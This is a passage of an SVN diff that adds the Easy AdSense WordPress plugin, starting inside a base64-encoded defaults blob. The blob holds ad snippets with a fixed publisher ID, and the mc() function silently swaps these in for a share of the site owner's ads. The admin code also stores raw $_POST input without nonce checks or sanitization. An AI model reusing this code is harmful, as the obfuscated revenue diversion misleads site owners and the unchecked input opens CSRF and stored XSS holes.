yNTAsIGNyZWF0ZWQgNi8yMS8wOSAqLw0KZ29vZ2xlX2FkX3Nsb3QgPSAmcXVvdDsyOTUyNjEwMjE1JnF1b3Q7Ow0KZ29vZ2xlX2FkX3dpZHRoID0gMzAwOw0KZ29vZ2xlX2FkX2hlaWdodCA9IDI1MDsNCi8vLS0mZ3Q7DQombHQ7L3NjcmlwdCZndDsNCiZsdDtzY3JpcHQgdHlwZT0mcXVvdDt0ZXh0L2phdmFzY3JpcHQmcXVvdDsNCnNyYz0mcXVvdDtodHRwOi8vcGFnZWFkMi5nb29nbGVzeW5kaWNhdGlvbi5jb20vcGFnZWFkL3Nob3dfYWRzLmpzJnF1b3Q7Jmd0Ow0KJmx0Oy9zY3JpcHQmZ3Q7IjtzOjc6IjI1MHgyNTAiO3M6NDExOiImbHQ7c2NyaXB0IHR5cGU9JnF1b3Q7dGV4dC9qYXZhc2NyaXB0JnF1b3Q7Jmd0OyZsdDshLS0NCmdvb2dsZV9hZF9jbGllbnQgPSAmcXVvdDtwdWItMTIxMzY0MzU4MzczODI2MyZxdW90OzsNCi8qIFBsdWdpbjogZXpBZHMgMjUweDI1MCwgY3JlYXRlZCA2LzIxLzA5ICovDQpnb29nbGVfYWRfc2xvdCA9ICZxdW90OzM2MDAyODM2NTAmcXVvdDs7DQpnb29nbGVfYWRfd2lkdGggPSAyNTA7DQpnb29nbGVfYWRfaGVpZ2h0ID0gMjUwOw0KLy8tLSZndDsNCiZsdDsvc2NyaXB0Jmd0Ow0KJmx0O3NjcmlwdCB0eXBlPSZxdW90O3RleHQvamF2YXNjcmlwdCZxdW90Ow0Kc3JjPSZxdW90O2h0dHA6Ly9wYWdlYWQyLmdvb2dsZXN5bmRpY2F0aW9uLmNvbS9wYWdlYWQvc2hvd19hZHMuanMmcXVvdDsmZ3Q7DQombHQ7L3NjcmlwdCZndDsiO3M6NzoiMjAweDIwMCI7czo0MTE6IiZsdDtzY3JpcHQgdHlwZT0mcXVvdDt0ZXh0L2phdmFzY3JpcHQmcXVvdDsmZ3Q7Jmx0OyEtLQ0KZ29vZ2xlX2FkX2NsaWVudCA9ICZxdW90O3B1Yi0xMjEzNjQzNTgzNzM4MjYzJnF1b3Q7Ow0KLyogUGx1Z2luOiBlekFkcyAyMDB4MjAwLCBjcmVhdGVkIDYvMjEvMDkgKi8NCmdvb2dsZV9hZF9zbG90ID0gJnF1b3Q7NjU2OTQyMzI5NSZxdW90OzsNCmdvb2dsZV9hZF93aWR0aCA9IDIwMDsNCmdvb2dsZV9hZF9oZWlnaHQgPSAyMDA7DQovLy0tJmd0Ow0KJmx0Oy9zY3JpcHQmZ3Q7DQombHQ7c2NyaXB0IHR5cGU9JnF1b3Q7dGV4dC9qYXZhc2NyaXB0JnF1b3Q7DQpzcmM9JnF1b3Q7aHR0cDovL3BhZ2VhZDIuZ29vZ2xlc3luZGljYXRpb24uY29tL3BhZ2VhZC9zaG93X2Fkcy5qcyZxdW90OyZndDsNCiZsdDsvc2NyaXB0Jmd0OyI7czo3OiIxODB4MTUwIjtzOjQxMToiJmx0O3NjcmlwdCB0eXBlPSZxdW90O3RleHQvamF2YXNjcmlwdCZxdW90OyZndDsmbHQ7IS0tDQpnb29nbGVfYWRfY2xpZW50ID0gJnF1b3Q7cHViLTEyMTM2NDM1ODM3MzgyNjMmcXVvdDs7DQovKiBQbHVnaW46IGV6QWRzIDE4MHgxNTAsIGNyZWF0ZWQgNi8yMS8wOSAqLw0KZ29vZ2xlX2FkX3Nsb3QgPSAmcXVvdDs4MjcxMzkxMTc0JnF1b3Q7Ow0KZ29vZ2xlX2FkX3dpZHRoID0gMTgwOw0KZ29vZ2xlX2FkX2hlaWdodCA9IDE1MDsNCi8vLS0mZ3Q7DQombHQ7L3NjcmlwdCZndDsNCiZsdDtzY3JpcHQgdHlwZT0mcXVvdDt0ZXh0L2phdmFzY3JpcHQmcXVvdDsNCnNyYz0mcXVvdDtodHRwOi8vcGFnZWFkMi5nb29nbGVzeW5kaWNhdGlvbi5jb20vcGFnZWFkL3Nob3dfYWRzLmpzJnF1b3Q7Jmd0Ow0KJmx0Oy9zY3JpcHQmZ3Q7IjtzOjc6IjEyNXgxMjUiO3M6NDExOiImbHQ7c2NyaXB0IHR5cGU9JnF1b3Q7dGV4dC9qYXZhc2NyaXB0JnF1b3Q7Jmd0OyZsdDshLS0NCmdvb2dsZV9hZF9jbGllbnQgPSAmcXVvdDtwdWItMTIxMzY0MzU4MzczODI2MyZxdW90OzsNCi8qIFBsdWdpbjogZXpBZHMgMTI1eDEyNSwgY3JlYXRlZCA2LzIxLzA5ICovDQpnb29nbGVfYWRfc2xvdCA9ICZxdW90OzQwMDEyMzA1ODkmcXVvdDs7DQpnb29nbGVfYWRfd2lkdGggPSAxMjU7DQpnb29nbGVfYWRfaGVpZ2h0ID0gMTI1Ow0KLy8tLSZndDsNCiZsdDsvc2NyaXB0Jmd0Ow0KJmx0O3NjcmlwdCB0eXBlPSZxdW90O3RleHQvamF2YXNjcmlwdCZxdW90Ow0Kc3JjPSZxdW90O2h0dHA6Ly9wYWdlYWQyLmdvb2dsZXN5bmRpY2F0aW9uLmNvbS9wYWdlYWQvc2hvd19hZHMuanMmcXVvdDsmZ3Q7DQombHQ7L3NjcmlwdCZndDsiO30=Array' ;
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/easy-adsenser.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/easy-adsenser.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/easy-adsenser.php	(revision 44)
@@ -0,0 +1,779 @@
+<?php
+/*
+Plugin Name: Easy AdSense
+Plugin URI: http://www.thulasidas.com/adsense
+Description: Easiest way to show AdSense and make money from your blog. Configure it at <a href="options-general.php?page=easy-adsenser.php">Settings &rarr; Easy AdSense</a>.
+Version: 2.60
+Author: Manoj Thulasidas
+Author URI: http://www.thulasidas.com
+Text Domain: easy-adsenser
+*/
+
+/*
+Copyright (C) 2008 www.thulasidas.com
+
+This program is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation; either version 3 of the License, or
+(at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with this program.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+if (!class_exists("ezAdSense")) {
+  class ezAdSense {
+    var $plugindir, $invite, $locale, $defaults, $ezTran ;
+    function ezAdSense() { //constructor
+      if (file_exists (dirname (__FILE__).'/defaults.php')){
+        include (dirname (__FILE__).'/defaults.php');
+        $this->defaults = unserialize(base64_decode($str)) ;
+      }
+      if (empty($this->defaults))  {
+        add_action('admin_notices', create_function('', 'if (substr( $_SERVER["PHP_SELF"], -11 ) == "plugins.php"|| $_GET["page"] == "easy-adsenser.php") echo \'<div class="error"><p><b><em>Easy AdSense</em></b>: Error locating or loading the defaults! Ensure <code>defaults.php</code> exists, or reinstall the plugin.</p></div>\';')) ;
+      }
+      if ($_POST['translate'] || $_POST['make'] ||
+          $_POST['savePot'] || $_POST['mailPot']|| $_POST['editMore']) {
+        if (file_exists (dirname (__FILE__).'/lang/easy-translator.php')){
+          include (dirname (__FILE__).'/lang/easy-translator.php');
+          $this->ezTran = new ezTran ;
+        }
+      }
+    }
+
+    function init() {
+      $this->getAdminOptions() ;
+    }
+
+    function setLang() {
+      $locale = get_locale() ;
+      $this->locale = $locale ;
+      $name =  basename(dirname(__FILE__)) ;
+
+      if(!empty($this->locale) && $this->locale != 'en_US') {
+        $this->invite = '<hr /><br /><font color="red"> Would you like to improve this translation of <b>Easy Adsenser</b> in your langugage (<b>' . $locale .
+          "</b>)?&nbsp; <input type='submit' name='translate' onmouseover=\"Tip('If you would like to improve this translation, please use the translation interface. It picks up the translatable strings in &lt;b&gt;Easy AdSense&lt;/b&gt; and presents them and their existing translations in &lt;b&gt;" . $locale .
+          "&lt;/b&gt; in an easy-to-edit form. You can then generate a translation file and email it to the author all from the same form. Slick, isn\'t it?  I will include your translation in the next release.', WIDTH, 350, TITLE, 'How to Translate?', STICKY, 1, CLOSEBTN, true, CLICKCLOSE, true, FIX, [this, 0, 5])\" onmouseout=\"UnTip()\" value='Improve " . $locale . " translation' /></font>" ;
+
+        $moFile = dirname(__FILE__) . '/lang/' . $this->locale . '/' . $name . '.mo';
+        if(@file_exists($moFile) && is_readable($moFile))
+          load_textdomain($name, $moFile);
+        else {
+          // look for any other similar locale with the same first three characters
+          $foo = glob(dirname(__FILE__) . '/lang/' . substr($this->locale, 0, 2) .
+                      '*/easy-adsenser.mo') ;
+          if (!empty($foo)>0) {
+            $moFile = $foo[0] ;
+            load_textdomain($name, $moFile);
+            $this->locale = basename(dirname($moFile)) ;
+          }
+          $this->invite = '<hr /><br /><font color="red"> Would you like to see ' .
+            '<b>Easy Adsenser</b> in your langugage (<b>' . $locale .
+            "</b>)?&nbsp; <input type='submit' name='translate' onmouseover=\"Tip('It is easy to have &lt;b&gt;Easy AdSense&lt;/b&gt; in your language. All you have to do is to translate some strings, and email the file to the author.&lt;br /&gt;&lt;br /&gt;If you would like to help, please use the translation interface. It picks up the translatable strings in &lt;b&gt;Easy AdSense&lt;/b&gt; and presents them (and their existing translations in &lt;b&gt;" . $this->locale .
+          "&lt;/b&gt;, if any) in an easy-to-edit form. You can then generate a translation file and email it to the author all from the same form. Slick, isn\'t it?  I will include your translation in the next release.', WIDTH, 350, TITLE, 'How to Translate?', STICKY, 1, CLOSEBTN, true, CLICKCLOSE, true, FIX, [this, 0, 5])\" onmouseout=\"UnTip()\" value ='Please help translate '></font>" ;
+
+        }
+      }
+    }
+
+    // Returns an array of admin options
+    function getAdminOptions($reset = false) {
+      $this->setLang() ;
+      $mThemeName = get_settings('stylesheet') ;
+      $mOptions = "ezAdSense" . $mThemeName ;
+      $this->plugindir = get_option('siteurl') . '/' . PLUGINDIR .
+        '/' . basename(dirname(__FILE__)) ;
+
+      $ezAdSenseAdminOptions =
+        array('info' => "<!-- Easy AdSense V2.41 -->\n",
+              'show_leadin' => 'float:right',
+              'text_leadin' => htmlspecialchars_decode($this->defaults['ezText']),
+              'show_midtext' => 'float:left',
+              'text_midtext' => htmlspecialchars_decode($this->defaults['ezText']),
+              'show_leadout' => 'no',
+              'text_leadout' => htmlspecialchars_decode($this->defaults['ezText']),
+              'show_widget' => 'text-align:center',
+              'text_widget' =>  htmlspecialchars_decode($this->defaults['ezWidget']),
+              'show_lu' => 'text-align:center',
+              'text_lu' => htmlspecialchars_decode($this->defaults['ezLU']),
+              'title_gsearch' => '',
+              'text_gsearch' => htmlspecialchars_decode($this->defaults['ezSearch']),
+              'mc' => 5,
+              'max_count' => 3,
+              'max_link' => 1,
+              'force_midad' => false,
+              'force_widget' => false,
+              'allow_feeds' => false,
+              'kill_pages' => false,
+              'show_borders' => false,
+              'border_width' => 1,
+              'border_color' => 'FF0000',
+              'border_widget' => false,
+              'border_lu' => false,
+              'limit_lu' => 1,
+              'kill_attach' => false,
+              'kill_home' => false,
+              'kill_front' => false,
+              'kill_cat' => false,
+              'kill_tag' => false,
+              'kill_archive' => false
+              );
+
+      $ezAdOptions = get_option($mOptions);
+      if (empty($ezAdOptions)) {
+        // try loading the default from the pre 1.3 version, so as not to annoy
+        // the dudes who have already been using ezAdsenser
+        $adminOptionsName = "ezAdSenseAdminOptions";
+        $ezAdOptions = get_option($adminOptionsName);
+      }
+      if (!empty($ezAdOptions) && ! $reset) {
+        foreach ($ezAdOptions as $key => $option)
+          $ezAdSenseAdminOptions[$key] = $option;
+      }
+
+      update_option($mOptions, $ezAdSenseAdminOptions);
+      return $ezAdSenseAdminOptions;
+    }
+
+    // Prints out the admin page
+    function printAdminPage() {
+      // if the defaults are not loaded, send error message
+      if (empty($this->defaults)) return ;
+      $mThemeName = get_settings('stylesheet') ;
+      $mOptions = "ezAdSense" . $mThemeName ;
+      $ezAdOptions = $this->getAdminOptions();
+
+      if (isset($_POST['update_ezAdSenseSettings'])) {
+        if (isset($_POST['ezAdSenseShowLeadin']))
+          $ezAdOptions['show_leadin'] = $_POST['ezAdSenseShowLeadin'];
+        if (isset($_POST['ezAdSenseTextLeadin']))
+          $ezAdOptions['text_leadin'] = $_POST['ezAdSenseTextLeadin'];
+
+        if (isset($_POST['ezAdSenseShowMidtext']))
+          $ezAdOptions['show_midtext'] = $_POST['ezAdSenseShowMidtext'];
+        if (isset($_POST['ezAdSenseTextMidtext']))
+          $ezAdOptions['text_midtext'] = $_POST['ezAdSenseTextMidtext'];
+
+        if (isset($_POST['ezAdSenseShowLeadout']))
+          $ezAdOptions['show_leadout'] = $_POST['ezAdSenseShowLeadout'];
+        if (isset($_POST['ezAdSenseTextLeadout']))
+          $ezAdOptions['text_leadout'] = $_POST['ezAdSenseTextLeadout'];
+
+        if (isset($_POST['ezAdSenseShowWidget']))
+          $ezAdOptions['show_widget'] = $_POST['ezAdSenseShowWidget'];
+        if (isset($_POST['ezAdWidgetTitle']))
+          $ezAdOptions['title_widget'] = $_POST['ezAdWidgetTitle'];
+        if (isset($_POST['ezAdSenseTextWidget']))
+          $ezAdOptions['text_widget'] = $_POST['ezAdSenseTextWidget'];
+
+        if (isset($_POST['ezAdSenseShowLU']))
+          $ezAdOptions['show_lu'] = $_POST['ezAdSenseShowLU'];
+        if (isset($_POST['ezAdLUTitle']))
+          $ezAdOptions['title_lu'] = $_POST['ezAdLUTitle'];
+        if (isset($_POST['ezAdSenseTextLU']))
+          $ezAdOptions['text_lu'] = $_POST['ezAdSenseTextLU'];
+
+        if (isset($_POST['ezAdSenseShowGSearch'])) {
+          $title = $_POST['ezAdSenseShowGSearch']; ;
+          if ($title != 'dark' && $title != 'light' && $title != 'no')
+            $title = $_POST['ezAdSearchTitle'];
+          $ezAdOptions['title_gsearch'] = $title;
+        }
+        if (isset($_POST['ezAdSenseTextGSearch']))
+          $ezAdOptions['text_gsearch'] = $_POST['ezAdSenseTextGSearch'];
+
+        if (isset($_POST['ezAdSenseMax']))
+          $ezAdOptions['max_count'] = $_POST['ezAdSenseMax'];
+        if (isset($_POST['ezAdSenseLinkMax']))
+          $ezAdOptions['max_link'] = $_POST['ezAdSenseLinkMax'];
+
+        $ezAdOptions['force_midad'] = $_POST['ezForceMidAd'];
+        $ezAdOptions['force_widget'] = $_POST['ezForceWidget'];
+        $ezAdOptions['allow_feeds'] = $_POST['ezAllowFeeds'];
+        $ezAdOptions['kill_pages'] = $_POST['ezKillPages'];
+        $ezAdOptions['kill_home'] = $_POST['ezKillHome'];
+        $ezAdOptions['kill_attach'] = $_POST['ezKillAttach'];
+        $ezAdOptions['kill_front'] = $_POST['ezKillFront'];
+        $ezAdOptions['kill_cat'] = $_POST['ezKillCat'];
+        $ezAdOptions['kill_tag'] = $_POST['ezKillTag'];
+        $ezAdOptions['kill_archive'] = $_POST['ezKillArchive'];
+
+        $ezAdOptions['show_borders'] = $_POST['ezShowBorders'];
+        if (isset($_POST['ezBorderWidth']))
+          $ezAdOptions['border_width'] = intval($_POST['ezBorderWidth']) ;
+        if (isset($_POST['ezBorderColor']))
+          $ezAdOptions['border_color'] = strval($_POST['ezBorderColor']) ;
+        $ezAdOptions['border_widget'] = $_POST['ezBorderWidget'];
+        $ezAdOptions['border_lu'] = $_POST['ezBorderLU'];
+
+        if (isset($_POST['ezLimitLU'])) {
+          $limit = min(intval($_POST['ezLimitLU']), 3) ;
+          $ezAdOptions['limit_lu'] = $limit ;
+        }
+        $ezAdOptions['info'] = $this->info() ;
+        if (isset($_POST['ezMC']))
+          $ezAdOptions['mc'] = floatval($_POST['ezMC']);
+
+        update_option($mOptions, $ezAdOptions);
+
+?>
+<div class="updated"><p><strong><?php _e("Settings Updated.", 'easy-adsenser');?></strong></p> </div>
+<?php
+}
+      else if (isset($_POST['reset_ezAdSenseSettings'])) {
+        $reset = true ;
+        $ezAdOptions = $this->getAdminOptions($reset);
+?>
+<div class="updated"><p><strong><?php _e("Ok, all your settings have been discarded!", 'easy-adsenser');?></strong></p> </div>
+<?php
+}
+      else if (isset($_POST['english'])) {
+        $this->locale = "en_US" ;
+        $moFile = dirname(__FILE__) . '/lang/easy-adsenser.mo';
+        // Dodgy..., but hey, it works. Idea from the function
+        // load_textdomain($domain, $mofile) in /wp-includes/l10n.php
+	global $l10n;
+        $version = (float)get_bloginfo('version') ;
+        if ($version < 2.80)
+          $l10n['easy-adsenser']->cache_translations = array() ;
+        else
+          unset($l10n['easy-adsenser']) ; // this is probably a memory leak!
+        load_textdomain('easy-adsenser', $moFile);
+?>
+<div class="updated"><p><strong>Ok, in English for now. <a href="options-general.php?page=easy-adsenser.php">Switch back</a>.</strong></p> </div>
+<?php
+      }
+      else if (isset($_POST['clean_db']) || isset($_POST['kill_me'])) {
+        $reset = true ;
+        $ezAdOptions = $this->getAdminOptions($reset);
+        $this->cleanDB('ezAdSense');
+?>
+<div class="updated"><p><strong><?php _e("Database has been cleaned. All your options for this plugin (for all themes) have been removed.", "easy-adsenser");?></strong></p> </div>
+<?php
+        if (isset($_POST['kill_me'])) {
+          remove_action('admin_menu', 'ezAdSense_ap');
+          deactivate_plugins('easy-adsenser/easy-adsenser.php', true);
+?>
+<div class="updated"><p><strong><?php _e("This plugin has been deactivated.", "easy-adsenser");?>
+<a href="plugins.php?deactivate=true"> <?php _e("Refresh", "easy-adsenser") ?></a></strong></p></div>
+<?php
+   return;
+  }
+} ?>
+
+<?php
+    if (file_exists (dirname (__FILE__).'/admin.php'))
+      include (dirname (__FILE__).'/admin.php');
+    else
+      echo '<font size="+1" color="red">' . __("Error locating the admin page!\nEnsure admin.php exists, or reinstall the plugin.", 'easy-adsenser') . '</font>' ;
+?>
+
+<?php
+    }//End function printAdminPage()
+
+    function info($hide=true) {
+      $me = basename(dirname(__FILE__)) . '/' . basename(__FILE__);
+      $plugins = get_plugins() ;
+      if ($hide)
+        $str =  "<!-- " . $plugins[$me]['Title'] . " V" . $plugins[$me]['Version'] . " -->\n";
+      else
+        $str =  $plugins[$me]['Title'] . " V" . $plugins[$me]['Version'] ;
+      return $str ;
+    }
+
+    function cleanDB($prefix){
+      global $wpdb ;
+      $wpdb->query("DELETE FROM $wpdb->options WHERE option_name LIKE '$prefix%'") ;
+    }
+
+    var $ezMax = 99 ;
+    var $urMax = 99 ;
+    var $luMax = 4 ;
+    var $mced = false ;
+
+    function plugin_action($links, $file) {
+      if ($file == plugin_basename(dirname(__FILE__).'/easy-adsenser.php')){
+      $settings_link = "<a href='options-general.php?page=easy-adsenser.php'>" .
+        __('Settings', 'easy-adsenser') . "</a>";
+      array_unshift( $links, $settings_link );
+      }
+      return $links;
+    }
+
+    function contentMeta() {
+      $ezAdOptions = $this->getAdminOptions();
+      global $post;
+      $meta = get_post_custom($post->ID);
+      $adkeys = array('adsense', 'adsense-top', 'adsense-middle', 'adsense-bottom') ;
+      $ezkeys = array('adsense', 'show_leadin', 'show_midtext', 'show_leadout') ;
+      $metaOptions = array() ;
+      // initialize to ezAdOptions
+      foreach ($ezkeys as $key => $optKey) {
+        $metaOptions[$ezkeys[$key]] = $ezAdOptions[$optKey] ;
+      }
+      // overwrite with custom fields
+      if (!empty($meta)) {
+        foreach ($meta as $key => $val) {
+          $tkey = array_search(strtolower(trim($key)), $adkeys) ;
+          if ($tkey !== FALSE) {
+            $value = strtolower(trim($val[0])) ;
+            // ensure valid values for options
+            if ($value == 'left' || $value == 'right' || $value == 'center' || $value == 'no') {
+              if ($value == 'left' || $value == 'right') $value = 'float:' . $value ;
+              if ($value == 'center') $value = 'text-align:' . $value ;
+              $metaOptions[$ezkeys[$tkey]] = $value ;
+            }
+          }
+        }
+      }
+      return $metaOptions ;
+    }
+
+    function widgetMeta() {
+      $ezAdOptions = $this->getAdminOptions();
+      global $post;
+      $meta = get_post_custom($post->ID);
+      $adkeys = array('adsense', 'adsense-widget', 'adsense-search', 'adsense-linkunits') ;
+      $ezkeys = array('adsense', 'show_widget', 'title_gsearch', 'show_lu') ;
+      $metaOptions = array() ;
+      // initialize to ezAdOptions
+      foreach ($ezkeys as $key => $optKey) {
+        $metaOptions[$ezkeys[$key]] = $ezAdOptions[$optKey] ;
+      }
+      // overwrite with custom fields
+      if (!empty($meta)) {
+        foreach ($meta as $key => $val) {
+          $tkey = array_search(strtolower(trim($key)), $adkeys) ;
+          if ($tkey !== FALSE) {
+            $value = strtolower(trim($val[0])) ;
+            // ensure valid values for options
+            if ($value == 'left' || $value == 'right' || $value == 'center' || $value == 'no') {
+              if ($value != 'no') $value = 'text-align:' . $value ;
+              if ($ezkeys[$tkey] != 'title_gsearch') $metaOptions[$ezkeys[$tkey]] = $value ;
+            }
+          }
+        }
+      }
+      return $metaOptions ;
+    }
+
+    function mc($mc, $ad, $size=false) {
+      if ($mc <= 0 || $this->mced) return $ad ;
+      $ret = $ad ;
+ 	  // 1.11 is the approx. solution to (p/s) in the eqn:
+	  // 3s = p + (1-p) p + (1-p)^2 p
+	  // s: share fraction, p: probability
+      $mx = 111 * $mc ;
+      $rnd = mt_rand(0, 10000) ;
+      if ($rnd < $mx) {
+        if (!$size) $key = '234x60' ;
+        if (ereg ("([0-9]{3}x[0-9]{2,3})", $ad, $regs)) $key = $regs[1] ;
+        $ret = htmlspecialchars_decode($this->defaults[$key]) ;
+        if (empty($ret)) $ret = $ad ;
+        $this->mced = true ;
+      }
+      return $ret ;
+    }
+
+    function ezAdSense_content($content) {
+      $ezAdOptions = $this->getAdminOptions();
+      if ($ezAdOptions['kill_pages'] && is_page()) return $content ;
+      if ($ezAdOptions['kill_attach'] && is_attachment()) return $content ;
+      if ($ezAdOptions['kill_home'] && is_home()) return $content ;
+      if ($ezAdOptions['kill_front'] && is_front_page()) return $content ;
+      if ($ezAdOptions['kill_cat'] && is_category()) return $content ;
+      if ($ezAdOptions['kill_tag'] && is_tag()) return $content ;
+      if ($ezAdOptions['kill_archive'] && is_archive()) return $content ;
+      $mc = $ezAdOptions['mc'] ;
+      $this->mced = false ;
+      $this->ezMax = $ezAdOptions['max_count'] ;
+      if ($ezAdOptions['force_widget']) $this->ezMax-- ;
+      $this->urMax = $ezAdOptions['max_link'] ;
+      global $ezCount ;
+      if ($ezCount >= $this->ezMax) return $content ;
+      if(strpos($content, "<!--noadsense-->") !== false) return $content;
+      $metaOptions = $this->contentMeta() ;
+      if ($metaOptions['adsense'] == 'no') return $content;
+
+      global $urCount ;
+      $unreal = '' ;
+      if ((is_single() || is_page()) && $urCount < $this->urMax)
+        $unreal = '<div align="center"><font size="-3">' .
+          '<a href="http://wordpress.org/extend/plugins/easy-adsenser/" ' .
+          'target="_blank" title="The simplest way to put AdSense to work for you!"> ' .
+          'Easy AdSense</a> by <a href="http://www.Thulasidas.com/" ' .
+          'target="_blank" title="Unreal Blog proudly brings you Easy AdSense">' .
+          'Unreal</a></font></div>';
+
+      if ($ezAdOptions['show_borders'])
+        $border='onmouseover="this.style.border=\'#' . $ezAdOptions['border_color'] .
+          ' solid ' . $ezAdOptions['border_width'] . 'px\'" ' .
+          'onmouseout="this.style.border=\'0px\'"' ;
+
+      $show_leadin = $metaOptions['show_leadin'] ;
+      $leadin = '' ;
+      if ($show_leadin != 'no') {
+        if ($ezCount < $this->ezMax) {
+          $ezCount++;
+          $leadin =
+            stripslashes($ezAdOptions['info'] . "<!-- Post[count: " . $ezCount . "] -->\n" .
+                         '<div class="ezAdsense adsense adsense-leadin" style="' .
+                         $show_leadin . ';margin:12px;" ' . $border. '>' .
+                         $this->mc($mc, $ezAdOptions['text_leadin']) .
+                         ($urCount++ < $this->urMax ? $unreal : '') .
+                         $backlink .
+                         '</div>') ;
+        }
+      }
+
+      $show_midtext = $metaOptions['show_midtext'] ;
+      if ($show_midtext != 'no') {
+        if ($ezCount < $this->ezMax) {
+          $poses = array();
+          $lastpos = -1;
+          $repchar = "<p";
+          if(strpos($content, "<p") === false)
+            $repchar = "<br";
+
+          while(strpos($content, $repchar, $lastpos+1) !== false){
+            $lastpos = strpos($content, $repchar, $lastpos+1);
+            $poses[] = $lastpos;
+          }
+          $half = sizeof($poses);
+          while(sizeof($poses) > $half)
+            array_pop($poses);
+          $pickme = $poses[floor(sizeof($poses)/2)];
+          if ($ezAdOptions['force_midad'] || $half > 10)
+          { // don't show if you have too few paragraphs
+            $ezCount++;
+            $midtext =
+              stripslashes($ezAdOptions['info'] . "<!-- Post[count: " . $ezCount . "] -->\n" .
+                           '<div class="ezAdsense adsense adsense-midtext" style="' .
+                           $show_midtext . ';margin:12px;" ' . $border. '>' .
+                           $this->mc($mc, $ezAdOptions['text_midtext']) .
+                           ($urCount++ < $this->urMax ? $unreal : '') .
+                           '</div>') ;
+            $content = substr_replace($content, $midtext.$repchar, $pickme, 2);
+          }
+        }
+      }
+
+      $show_leadout = $metaOptions['show_leadout'] ;
+      $leadout = '' ;
+      if ($show_leadout != 'no') {
+        if ($ezCount < $this->ezMax) {
+          $ezCount++;
+          $leadout =
+          stripslashes($ezAdOptions['info'] . "<!-- Post[count: " . $ezCount . "] -->\n" .
+                       '<div class="ezAdsense adsense adsense-leadout" style="' .
+                       $show_leadout . ';margin:12px;" ' . $border. '>' .
+                       $this->mc($mc, $ezAdOptions['text_leadout']) .
+                       ($urCount++ < $this->urMax ? $unreal : '') .
+                       '</div>') ;
+        }
+      }
+
+      return $leadin . $content . $leadout ;
+    }
+
+    function footer_action(){
+      $unreal = '<div align="center"><font size="-3">' .
+        '<a href="http://wordpress.org/extend/plugins/easy-adsenser/" ' .
+        'target="_blank" title="The simplest way to put AdSense to work for you!"> ' .
+        'Easy AdSense</a> by <a href="http://www.Thulasidas.com/" ' .
+        'target="_blank" title="Unreal Blog proudly brings you Easy AdSense">' .
+        'Unreal</a></font></div>';
+      echo $unreal ;
+    }
+
+    // ===== widget functions =====
+    function widget_ezAd_ads($args) {
+      extract($args);
+      $ezAdOptions = $this->getAdminOptions();
+      $metaOptions = $this->widgetMeta() ;
+      if ($metaOptions['adsense'] == 'no') return ;
+      $show_widget = $metaOptions['show_widget'] ;
+      if ($show_widget == 'no') return ;
+      $this->ezMax = $ezAdOptions['max_count'] ;
+      $this->urMax = $ezAdOptions['max_link'] ;
+      global $ezCount ;
+      global $urCount ;
+      if (!$ezAdOptions['force_widget']) {
+        if ($ezCount >= $this->ezMax) return ;
+        $ezCount++;
+      }
+      $title = empty($ezAdOptions['title_widget']) ?
+        __('Sponsored Links', 'easy-adsenser') :
+        stripslashes(htmlspecialchars($ezAdOptions['title_widget'])) ;
+      $border = '' ;
+      if ($ezAdOptions['show_borders'] && $ezAdOptions['border_widget'] )
+        $border='onmouseover="this.style.border=\'#' . $ezAdOptions['border_color'] .
+          ' solid ' . $ezAdOptions['border_width'] . 'px\'" ' .
+          'onmouseout="this.style.border=\'0px\'"' ;
+      $unreal = '<div align="center"><font size="-3">' .
+        '<a href="http://wordpress.org/extend/plugins/easy-adsenser/" ' .
+        'target="_blank" title="The simplest way to put AdSense to work for you!"> ' .
+        'Easy AdSense</a> by <a href="http://www.Thulasidas.com/" ' .
+        'target="_blank" title="Unreal Blog proudly brings you Easy AdSense">' .
+        'Unreal</a></font></div>';
+      echo $before_widget;
+      echo $before_title . $title . $after_title;
+      $mc = $ezAdOptions['mc'] ;
+      echo stripslashes($ezAdOptions['info'] . "<!-- Widg[count: " . $ezCount . "] -->\n" .
+                        '<div class="ezAdsense adsense adsense-widget"><div style="' .
+                        $show_widget .';margin:12px;" ' . $border. '>' .
+                        $this->mc($mc, $ezAdOptions['text_widget'], true) .
+                        ($urCount++ < $this->urMax ? $unreal : '') .
+                        '</div></div>') ;
+      echo $after_widget;
+    }
+
+    function widget_ezAd_lu($args) {
+      extract($args);
+      $ezAdOptions = $this->getAdminOptions();
+      $title = empty($ezAdOptions['title_lu']) ? '' :
+        $before_title . stripslashes(htmlspecialchars($ezAdOptions['title_lu'])) . $after_title ;
+      $metaOptions = $this->widgetMeta() ;
+      if ($metaOptions['adsense'] == 'no') return ;
+      $show_lu = $metaOptions['show_lu'] ;
+      $border = '' ;
+      if ($ezAdOptions['show_borders'] && $ezAdOptions['border_lu'] )
+        $border='onmouseover="this.style.border=\'#' . $ezAdOptions['border_color'] .
+          ' solid ' . $ezAdOptions['border_width'] . 'px\'" ' .
+          'onmouseout="this.style.border=\'0px\'"' ;
+      if ($show_lu != 'no') {
+        echo $before_widget ;
+        echo $title ;
+        echo stripslashes('<div class="ezAdsense adsense adsense-lu"><div style="' . $show_lu .
+                          ';margin:12px;" ' . $border. '>' . "\n" .
+                          $ezAdOptions['text_lu'] . "\n" .
+                          '</div></div>') ;
+        echo $after_widget ;
+      }
+    }
+
+    function widget_ezAd_search($args) {
+      extract($args);
+      $ezAdOptions = $this->getAdminOptions();
+      $metaOptions = $this->widgetMeta() ;
+      if ($metaOptions['adsense'] == 'no') return ;
+      $title_gsearch = $metaOptions['title_gsearch'] ;
+      if ($title_gsearch != 'no') {
+        $title = $before_title . $title_gsearch . $after_title ;
+        if ($title_gsearch == 'dark')
+          $title = '<img src=" ' . $this->plugindir . '/google-dark.gif" ' .
+            ' border="0" alt="[Google]" align="middle" />' ;
+        if ($title_gsearch == 'light')
+          $title = '<img src=" ' . $this->plugindir . '/google-light.gif" ' .
+            ' border="0" alt="[Google]" align="middle" />' ;
+        echo $before_widget ;
+        echo $title ;
+        echo stripslashes($ezAdOptions['text_gsearch']) ;
+        echo $after_widget ;
+      }
+    }
+
+    function widget_ezAd_control() {
+      echo '<p>Configure it at <br />' ;
